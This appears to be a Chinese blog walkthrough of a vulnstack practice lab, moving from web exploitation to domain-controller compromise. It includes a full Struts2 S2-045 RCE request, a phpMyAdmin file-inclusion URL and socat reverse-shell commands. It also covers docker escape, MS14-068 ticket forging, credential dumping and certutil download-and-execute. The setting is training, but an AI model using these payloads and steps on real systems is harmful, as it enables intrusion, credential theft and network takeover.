从外网到域控（vulnstack靶机实战4）

 

前言

大家好，我是鸿鹄实验室的lengyi,红日靶机又更新了，所以我就玩了玩…

vlunstack是红日安全团队出品的一个实战环境，具体介绍请访问：http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

具体的网络架构作者已经给出，如下图：

ubuntu为我们的web环境，其中的web环境需要手动开启，全部为docker环境，启动方法如下：

docker-compose build
docker-compose up -d

需要启动的环境分别为：s2-045、CVE-2017-12615、 cve-2018-12613，别问我怎么知道的，问就是试的….

全开的效果：

 

外网测试

既然是docker的环境，那就把三个web全部拿下先，先从tomcat的开始，CVE-2017-12615是一个老漏洞了，很简单的利用，put上传webshell即可。

然后发现目标为root权限（docker环境不为root还奇怪呢…）

好，我们这个先放到一边，再来继续测试另外两个环境，CVE-2018-12613,这个是一个phpmyadmin的洞，也就是文件包含，利用起来也还算方便，方法如下（环境为config模式，可直接使用test账户登录）：

http://192.168.0.104:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

至于包含shell也是比较简单的，select执行一个php代码，包含自己的session即可。

下面是st2-045，st2系列也是一个经典的系列，直接构造下面的数据包即可rce。

POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

好了，三个环境就算是基本完成了，下面就是一个比较重要的问题，docker逃逸。我这里使用cve-2019-5736进行逃逸。先使用msf搞一个shell回来：

这里是我们可以修改在宿主机上进行操作的命令

可自行修改对于的payload，然后编译，

go build main.go

然后将编译好的文件传到目标机上，因为我已经有了一个大马了，上传很方便。继续为了方便,socat搞一个tty的shell过来

socat file:`tty`,raw,echo=0 tcp-listen:4444  
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

执行

然后在主机执行：

Poc执行成功：

然后我们用这种方法(直接传shell或者添加用户搞shell)在宿主机上执行一个cs和msf的shell回来。

 

横向移动

msf添加路由，session返回到后台

因为有拓扑图，只需要进行攻击即可，我们先来测试win7，内网嘛，17-010试试？

不过，有一说一，我就没打虚拟机成功过….

当然也有可能是uac的问题，换成bypassUAC的进行测试：

获得shell

且直接是system权限：

进入交互模式，随手一看，发现有一些存在的工具，不知道是不是作者的安排,虽然没有到时候也需要传一些…

 

进攻域控

先抓一下win7的明文：

然后就是忌出我们的ms14-068了

然后查看本机用户的id

写入成功：

mimikztz注入票据

获取域控权限：

然后将payload放到ubuntu上，使用certutil下载、执行，即可获取shell。

发现部分administrator的进程

进行令牌窃取

获得administrator权限，然后抓取明文密码

打完收工。

 

总结

哦，谢谢红日的各位师傅们，拜谢，啊，我想开学…